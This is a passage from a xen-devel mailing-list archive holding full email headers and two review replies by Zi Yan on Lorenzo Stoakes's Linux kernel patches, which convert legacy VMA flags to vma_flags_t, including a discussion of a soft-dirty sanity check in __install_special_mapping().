	iDiRatKBFoWIm6T/kdGH9JywwyvyG75N7yZRXTZbHUKMqVc1qvxFNnu68X5+uwN/CjEuQ/Gw4UQyVdn3yPjee0lKSj3nPN0fRsAGEm0qrb2gg0JD5HsexinLGxYmgz6ZDgQrTUZHs4hticK3iPXOEsmSSZWI+QJjB69HSJhpgX7LABIju2O45PgqIV7mwRtn7BuieWeENDld82vKJ5quL9UZbWAgFwVzV+JKsQplbNdprqYOJd3W/pzhsJC6svOh9PUCIJtYeCk/ts2Q82cDX9GTUwc/JC9t9UcihbiGycxMgiU4F9bZdineBrPg4OWunXCQ+i9EKyBPuU2qPap/SI9uygh17IuNdAepzg4MmYWVjX/HhXKHaezFVLJtOJau15rsp+xzeLXw9xRruLFMdPB9gjA6Z/E8ET8XQ5U8AyMrley3aFby3Lg5u3ZJRN4wVteOIUdj/nMJ7QvkDtDg3t09r8cA64L26IX3mbbJr+dulpy+jxVUlO86ayU4Uijf1dkmRabMWJjK14R92nUawQJtPIISmKO6wlT7eaosuRmbLQSZaGt9tA7sXgfKUQt9O2eBQXO7sLJ5/5lW141ItfXF8avRCEClgkd+rj9mDlpuKbXJMcdMdCKotMToohdv2kB2KZH8CSX3mTG166Mf9ji5/yobdynoNa6Ptg34DNU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR12MB8371.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(7416014)(1800799024)(366016)(22082099003)(11063799006)(18002099003)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
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WkpVL2lEcExDNWF4ZmhLN3lt?=
 =?utf-8?B?UVZtS1J4bHY0bm5UT1VDL2tWMmZHR3dEbEltak9TQ1B3SFJzemVuc2VnNGdI?=
 =?utf-8?B?TmxzRTZOTmVDeSsweGFBNkpUMC9qVk0yWkZuSitNYjI0bTVmSXp3NXRpajM2?=
 =?utf-8?B?MWNlTThqc3F3M2JQcXJuR3FGUmtxSGFWbXZkQkNEc05pcG8raHZhQzlzVHBm?=
 =?utf-8?B?UmNOZlloOW93Vnp4czdEbzhYN3FKd3pDenMxeUg2OXBQeTAwVlJjVm5sQm02?=
 =?utf-8?B?ZVBNeE5Dbyt6Z3Nxa09DMGEzYnNML2NRc2lsMnBJSGlnQURkKzZSMEF1WCtE?=
 =?utf-8?B?LzFCbWhNS1pnUERGVHBtTDg5Q3dKZHhGcEYvZFNCeXF6Z21nQmpWVDM3bi9n?=
 =?utf-8?B?dzNaYTN2RDJZMFFhM3BrbjVPVHlab01EbHJveTh5aGtyS3BLcEF0MytHd1c4?=
 =?utf-8?B?V3F6bWg1eWlZMEs5ZVFHOUtIVjdoTFdPSmxTVUpPOHBFV0R3RW9kSzc0R1Y4?=
 =?utf-8?B?Ym4xWS9PWXZ6dVhTRjBiSG45V3VIZE1aRHdXN3ZvZ3paRkpheDY3V2JQaTNz?=
 =?utf-8?Q?YkDc304XKvg8CW2By8?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ddd5ea09-0887-4050-e353-08dedd5b4c5d
X-MS-Exchange-CrossTenant-AuthSource: DS7PR12MB8371.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 01:42:12.8101
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: koNURsUO6db1sQKHwoSjxAarTfnslf461+ZBpMIr7QAlsBVvHV1isp9f2QO8THZW
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR12MB7581
X-purgate-ID: tlsNG-720697/1783561347-54B1B7C5-DB96F693/0/0
X-purgate-type: clean
X-purgate-size: 641

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> Replace use of the legacy vm_flags_t flags with vma_flags_t values in
> create_init_stack_vma().
>
> As part of this change we add VMA_STACK_EARLY and VMA_STACK_INCOMPLETE
> vma_flags_t defines, and slightly rework create_init_stack_vma() for
> clarity.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  include/linux/mm.h |  4 ++++
>  mm/vma_exec.c      | 18 +++++++++++-------
>  2 files changed, 15 insertions(+), 7 deletions(-)
>

LGTM.

Reviewed-by: Zi Yan <ziy@nvidia.com>

--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 01:52:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 01:52:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357449.1611852 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whdwQ-0002tP-RS; Thu, 09 Jul 2026 01:52:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357449.1611852; Thu, 09 Jul 2026 01:52:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whdwQ-0002tI-N1; Thu, 09 Jul 2026 01:52:42 +0000
Received: by outflank-mailman (input) for mailman id 1357449;
 Thu, 09 Jul 2026 01:52:41 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whdwP-0002tC-OD
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 01:52:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whdwO-00BiVk-Eo
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 03:52:40 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4efe88-bab6-0a2a0a5309dd-0a2a450180da-28
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:52:40 +0200
Received: from [52.101.61.50]
 (helo=DM1PR04CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4efee6-400f-0a2a45010019-34653d32c39f-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:52:39 +0200
Received: from DS7PR12MB8371.namprd12.prod.outlook.com (2603:10b6:8:e9::18) by
 DM6PR12MB4154.namprd12.prod.outlook.com (2603:10b6:5:21d::21) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.15; Thu, 9 Jul 2026 01:52:25 +0000
Received: from DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a]) by DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a%3]) with mapi id 15.21.0181.009; Thu, 9 Jul 2026
 01:52:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Cjp8xPN3RUM5OddQSmxigJbi+D9CHmDgyVuA6D5RiiyGfSw/+x0Edd5zsYREEB8jTwNClG4TMOFxdQkfssfaENZIDPOsstqQTsORb4jr/HAXH/H9F3tfRR2fUKsdI45VNGFSIYyhUEV/XwHEDaRDLBjd24U8KB9vaPFU0VMP8ImgM6Bi8tlaXJM0+cILzXUpGKeu4eiD/lmsEFunmkHLmOpaHhfprjFp5xgumUf+vi7rdAgxKiA4dMtyvnPFQwQg7CtSVZvbUmLYruJWRBTXZKwn5rXQO3yludzWmBBPZHVgwWnKdIc+wARLvkdbBGbqQY1mQa0+nshUc+Q3vFl92g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=dgmsIUewvtgaZUDi1JMSdecE8z2jvCAGnPZP1YDwjOg=;
 b=EXjke7CUW/5f2iy9OKEz+jRG+TSwpfDGSg6WGGUk9Vv3AIBSt+R1rJ491htqPK22SCzoELEZtKwtScCFKbv6vZRo3e46NKL55QbyDm5h0b4rWYwEZLDvCNNrEUiJF/f3fJoMInWjUHAUWU8Z//NjBp5XKDUDcmlKR9FPrDSRW2RRdcid5IFcwH3iQSYiMlOMvHsWldJmTLcbONJ+8xFYEU52rraucOZAZruZZ5ZTUur0e7jWJGCRYBcjMP+uZyQyVnBnPhHNYQZLVgdH5eE8UUkgNlXUgt/SpoZK8317cPBoE8MyvFg+yT/aXufoxROR1782IGKLwoqABs4UvBCfzg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=dgmsIUewvtgaZUDi1JMSdecE8z2jvCAGnPZP1YDwjOg=;
 b=g1wNoIWT2Fpn5YCBEHNCOakYn0IcDIJHExfw+BmzBQJigcrZQXeAzqb7fDSGvMaDdWEoapL46X/4OhaQhWRnOb/6FfcUE2/g+4ZkscFOIthx8bK9cdQSIrVVjGZaBpqOVzUANNhlhjfVu/elvjbhuENXQqdDW1pxQqCSGQgPjbSly/6cvI1vVQnHPgfCZMFhPdhUoyFaou53L/7VxqTbp1cnKuAG1EOuVGXnrbWXRJQferiE9ugGyGEQsQQzSLGjQieCUJrLcID+jjAxeRlysUA6fRFjSksQX05F4E+FJ+naWd5CiFLSQWyiaMCgWF050xtGj3uDYVFOrvyZAH8zmg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 21:52:19 -0400
Message-Id: <DJTNXVOWGWJ4.3MDNLPMY0Y3RF@nvidia.com>
Subject: Re: [PATCH 10/13] mm/vma: convert miscellaneous uses of VMA flags
 in core mm
Cc: <akpm@linux-foundation.org>, <tsbogend@alpha.franken.de>,
 <maddy@linux.ibm.com>, <mpe@ellerman.id.au>,
 <maarten.lankhorst@linux.intel.com>, <mripard@kernel.org>,
 <tzimmermann@suse.de>, <airlied@gmail.com>, <simona@ffwll.ch>,
 <l.stach@pengutronix.de>, <inki.dae@samsung.com>, <sw0312.kim@samsung.com>,
 <kyungmin.park@samsung.com>, <krzk@kernel.org>, <peter.griffin@linaro.org>,
 <jani.nikula@linux.intel.com>, <joonas.lahtinen@linux.intel.com>,
 <rodrigo.vivi@intel.com>, <tursulin@ursulin.net>,
 <robin.clark@oss.qualcomm.com>, <lumag@kernel.org>, <lyude@redhat.com>,
 <dakr@kernel.org>, <tomi.valkeinen@ideasonboard.com>, <hjc@rock-chips.com>,
 <heiko@sntech.de>, <andy.yan@rock-chips.com>, <thierry.reding@kernel.org>,
 <mperttunen@nvidia.com>, <jonathanh@nvidia.com>, <kraxel@redhat.com>,
 <dmitry.osipenko@collabora.com>, <zack.rusin@broadcom.com>,
 <matthew.brost@intel.com>, <thomas.hellstrom@linux.intel.com>,
 <oleksandr_andrushchenko@epam.com>, <deller@gmx.de>, <bcrl@kvack.org>,
 <viro@zeniv.linux.org.uk>, <brauner@kernel.org>, <muchun.song@linux.dev>,
 <osalvador@suse.de>, <david@kernel.org>, <baolin.wang@linux.alibaba.com>,
 <liam@infradead.org>, <npache@redhat.com>, <ryan.roberts@arm.com>,
 <dev.jain@arm.com>, <baohua@kernel.org>, <hughd@google.com>,
 <vbabka@kernel.org>, <rppt@kernel.org>, <surenb@google.com>,
 <mhocko@suse.com>, <jannh@google.com>, <pfalcato@suse.de>,
 <kees@kernel.org>, <perex@perex.cz>, <tiwai@suse.com>,
 <linux-mips@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
 <linuxppc-dev@lists.ozlabs.org>, <dri-devel@lists.freedesktop.org>,
 <etnaviv@lists.freedesktop.org>, <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Lance Yang" <lance.yang@linux.dev>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <1e7d834c887b6a65627d730addcff13d458c6268.1782760670.git.ljs@kernel.org> <20260702131233.59026-1-lance.yang@linux.dev> <akaGxiTaJreEQn8T@lucifer>
In-Reply-To: <akaGxiTaJreEQn8T@lucifer>
X-ClientProxiedBy: YQZPR01CA0041.CANPRD01.PROD.OUTLOOK.COM
 (2603:10b6:c01:86::13) To DS7PR12MB8371.namprd12.prod.outlook.com
 (2603:10b6:8:e9::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR12MB8371:EE_|DM6PR12MB4154:EE_
X-MS-Office365-Filtering-Correlation-Id: bacc7942-656d-4181-e20f-08dedd5cb91a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|376014|7416014|23010399003|22082099003|18002099003|4143699003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	Yd28dTy/xN9ySMyhg2uIQeY4gQAgrUnJObMIVS22bJ5VRzmoeTnNAj3462cN98HdiG2seYtR7K5OFXMblYfILyPUu/uCu/Rz7HRmbjk9gtGiEnH5qLj4BjMy4LshOkUGUl61yUNpm1dEB/vj9L35x+JcFqqOS01ylTSeSKtR9hcQHUciu3LED5xX8q7gGNbPCoVYQ1iSmJ8Vxn5xJknM6/iZWiVa+4m0F3PivDqGaU6996tnxowWFJIEAU7FdI7QqWNSIPu6de93Ych0CU6wtWi7ewgtxYm0StXUbcIA772VPhrPyXntIIn/CVND2yXt1dqOwQMGoh9Ey3mVFAEEk/S9+bqVcAYkeU4Y4LdYplZqQVDWwL7wh7NrKr6irfH0NOAVXZEqngQ34zv9OBUq5i+xRWaZVPKmWzFtc9AUZ/uE/KNVv0rL/u9rEPCf8r2viLdLX5XNG7Yd42dPn0h29jLtXpbJTeIO8FizYjpgteCBdo6h/ztWPT8koa43b3xU1TS1GUS9DdjBsXvjnkZqUmm1nIwv+Pp3vwWRZkFs3x19WsnrLwsi2bjmBVQ3pqMDnPDl36l40CU01hRUo0UkwUhuDjhh4hY1BHpF1RRR25+J0ov3CWhYB7WugenvDcU1SRxPz+rlFkz8auNamE3mow==
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR12MB8371.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(376014)(7416014)(23010399003)(22082099003)(18002099003)(4143699003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?THNNeExvMFhubllkUE9NcTIya3haaHpIRDVleXp2c0FTMVprU3psTzAzWmFk?=
 =?utf-8?B?WnlzQWFEVFNGT09sUFBlMGViVGZZbWxHdlQvT0xYTnI1c2dHMzd0QVY2T1Nw?=
 =?utf-8?B?Ylhudms2YWhVN0lpZ3JNc2dLWnNyWUFqb0F6TnkvWGlubENMRk1oRGVzeisw?=
 =?utf-8?B?MnZBMnBkRWVIaExuUHJLR1Q1OG03STQ2eG9GbVN0SW1RallPa05hK283a0Ir?=
 =?utf-8?B?MlpoaytmZGpYWmRhTkpKb1UrQ1E4TGk2OUVuNkNmSGx4Q2FjMmdtUUZsQi8z?=
 =?utf-8?B?b0hjMTFndmN1bWUyVGo2eGs5TVFzeTV5YnhEZGVLQk91Y1VUM2h5YTVwRjdX?=
 =?utf-8?B?WGJkYlVwbjdLaTZJSjVEZm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eWMvZUNzTTRkNWo3NjVBbmxLRjc1anhPeERYUUQ4eDZTcFdac2dWTzUrVHZ1?=
 =?utf-8?B?djFxZmFVZTZMR0VTbll2eHdvRjJ2blo2K3BOeW1UVWxrb0lHbEZwMEFZUW9p?=
 =?utf-8?B?NU8yQlBJMndyZWp0bUU2dVhSVWFEMHVMSEl3VDZuVkp1blgxTXppOVAzbWxV?=
 =?utf-8?Q?QcZDKeihkt77hc+27P?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: bacc7942-656d-4181-e20f-08dedd5cb91a
X-MS-Exchange-CrossTenant-AuthSource: DS7PR12MB8371.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 01:52:24.7416
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: d6w7qvqU9Xvfq3rnPOcHPBkvnO4m2Fn3xJjwiOL8S5RfEjHG8pIPBVGzUoy7hQIy
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM6PR12MB4154
X-purgate-ID: tlsNG-d62444/1783561960-FE0DC1E0-B4AE4DBD/0/0
X-purgate-type: clean
X-purgate-size: 3065

On Thu Jul 2, 2026 at 11:46 AM EDT, Lorenzo Stoakes wrote:
> On Thu, Jul 02, 2026 at 09:12:33PM +0800, Lance Yang wrote:
>>
>> On Mon, Jun 29, 2026 at 08:25:33PM +0100, Lorenzo Stoakes wrote:
>> >Update various uses of legacy flags in vma.c and mmap.c to the new
>> >vma_flags_t type, updating comments alongside them to be consistent.
>> >
>> >Also update __install_special_mapping() to rearrange things slightly to
>> >accommodate the changes.
>> >
>> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>> >---
>> [...]
>> >diff --git a/mm/vma.c b/mm/vma.c
>> >index b81c05e67a61..ab2ef0f04420 100644
>> >--- a/mm/vma.c
>> >+++ b/mm/vma.c
>> >@@ -3417,23 +3417,27 @@ struct vm_area_struct *__install_special_mappin=
g(
>> > 	vm_flags_t vm_flags, void *priv,
>> > 	const struct vm_operations_struct *ops)
>> > {
>> >-	int ret;
>> >+	vma_flags_t vma_flags =3D legacy_to_vma_flags(vm_flags);
>> > 	struct vm_area_struct *vma;
>> >+	int ret;
>> >
>> > 	vma =3D vm_area_alloc(mm);
>> >-	if (unlikely(vma =3D=3D NULL))
>> >+	if (unlikely(!vma))
>> > 		return ERR_PTR(-ENOMEM);
>> >
>> >-	vma_set_range(vma, addr, addr + len, 0);
>> >-	vm_flags |=3D vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
>> >+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
>> >+	vma_flags_set(&vma_flags, VMA_DONTEXPAND_BIT);
>> > 	if (pgtable_supports_soft_dirty())
>> >-		vm_flags |=3D VM_SOFTDIRTY;
>> >-	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
>> >+		vma_flags_set(&vma_flags, VMA_SOFTDIRTY_BIT);
>> >+	vma_flags_clear_mask(&vma_flags, VMA_LOCKED_MASK);
>> >+	vma->flags =3D vma_flags;
>>
>> Maybe worth a vma_flags_init() helper here to mirror vm_flags_init()?
>> With this open-coded, we lose the soft-dirty WARN_ON_ONCE sanity check.
>>
>> Might be nicer to keep that check in one place ;)
>
> I really hate all the VMA flag accessors, they conflate things horribly -=
 we
> should be explicitly taking VMA write locks when we need to (and often ki=
llable
> ones actually) not assuming that a VMA flags accessor does (they should a=
t most
> assert).
>
> This case is even more terribly egregious - you are setting flags at an
> arbitrary time, why are we asserting something about softdirty?
>
> You may update them as part of initialisation, maybe not. It's far from a
> guarantee and feels like a lazy place to put it.
>
> BUT obviously it's an oversight not to open code that here, so I'll updat=
e the
> patch to do that!

What do you want to open code here? softdirty WARN_ON_ONCE()?

vma_flags gets VMA_SOFTDIRTY_BIT just above vma->flags, why do we need a
check after that?

BTW, if you think the check is needed, patch 9 will need to be updated,
since the same pattern appears in create_init_stack_vma().

>
> I want VMA flags to be a clean stateless thing, other than the flags
> themselves. Implicit, unrelated, asserts or lock acquisitions in general =
should
> be done separately IMO.
>

Anyway,

Reviewed-by: Zi Yan <ziy@nvidia.com>

--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 02:01:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 02:01:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357460.1611860 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whe51-0004zX-NV; Thu, 09 Jul 2026 02:01:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357460.1611860; Thu, 09 Jul 2026 02:01:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whe51-0004zQ-Kb; Thu, 09 Jul 2026 02:01:35 +0000
Received: by outflank-mailman (input) for mailman id 1357460;
 Thu, 09 Jul 2026 02:01:34 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whe50-0004zK-Lc
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 02:01:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whe4z-001lPq-LJ
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 04:01:33 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4f00e1-bab6-0a2a0a5309dd-0a2a450790fe-34
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:01:33 +0200
Received: from [40.107.208.36]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4f00fb-9c8e-0a2a45070019-286bd024c0b7-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:01:32 +0200
Received: from DS7PR12MB8371.namprd12.prod.outlook.com (2603:10b6:8:e9::18) by
 MW9PR12MB999208.namprd12.prod.outlook.com (2603:10b6:303:301::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Thu, 9 Jul
 2026 02:01:27 +0000
Received: from DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a]) by DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a%3]) with mapi id 15.21.0181.009; Thu, 9 Jul 2026
 02:01:26 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xWkBxyic9jZ9aB0TEIr+uABUzsEMKvavL3RBJFfzjokb5uTCtDL/pSJr3NisBdW/7DQKhPSqqf1orgV0zZwHnu3R/IzFLqS0fP+9iYtWAqjXVUrPaf0UmZ2rMyMZzlpKL8un3KH95QR7NFPYSV2RrWYcHxqWF+3z1ENKZB6lOY43qhbyxdWmlX5ucLKfsU9owS4Es+6bc+4TNVdBuetExN73/N8+aFZ8UD5jdw/Vw7GjvaUcseoa32+nPBP9P5YuOtdP1nrJCPIP7kboqvHc55FGS8adxWI2AOGPXmUmxy6DwEax4VPAZUv9pAinsATo3yHoqEjBX/6kJFAPRE0Jjg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=qmvlPdta5CG/qbDEpWZ862t99nVjshVFU+ZOfIMLCC0=;
 b=OAjkV9iY1AdhdGALcaGLONsK9N+JG6WMDwOJFvhhfppAfopn4etcqY9zszFhylHk7c9MtQmTI8d9YjV6DynjTRJVhoMWOUegNMzTWg6x/TD+z/rbJo1690D1/nMSh1vd/LbXGxtsgwRpBCb7WO/4+Bizc2ENUTjukhv+xsmaVr0NUiMWrBPkqZrBNXdNWIkpMNPWChhHmG1OAmmkQNf6q+pSFf1KnmKrg4kbAugfGoeOFisSZkL7vfdilrv7VOlVd7SOEWu/SgVMZAprtCfFYzNN3qYSIRzIXINivrwcqKlRMnI5LYWIAkO7JlF25kaMFW/6u1XyAutiVywG31OubA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=qmvlPdta5CG/qbDEpWZ862t99nVjshVFU+ZOfIMLCC0=;
 b=od7I2D7XbbZWMNgTLDO37C98Qbzj9sJ7+2++EPsZIMwD/MYc6RMTB7G5YZKTGe7jBhTVSp3bJgoczXi147UkGjOXkd1WCasn9yv01DHfGmeAKhbOR/IDSoIZHhW1sVyHcu6wWYsYJ8YNp6lgBfS10cCwXY9llGaj1ARXYmJqn9dMuJTr2MfDCLTjlJCDyb3CExU6gaCadUltIcAHu4ENPvaOvk6IL4DaI1LDpczQr1t5Skw/M8+e/bEzosepeKfaUV2F9V0ZP6sZ+RH7TIpCM3s/NJC/KcYu20fey2xCBl8XiUVtchfubHtT+mLr84VlPyWRhJRykohtNpwpToEw9w==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 22:01:22 -0400
Message-Id: <DJTO4SXFAKEV.1GVVCX3LZ6R0M@nvidia.com>
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
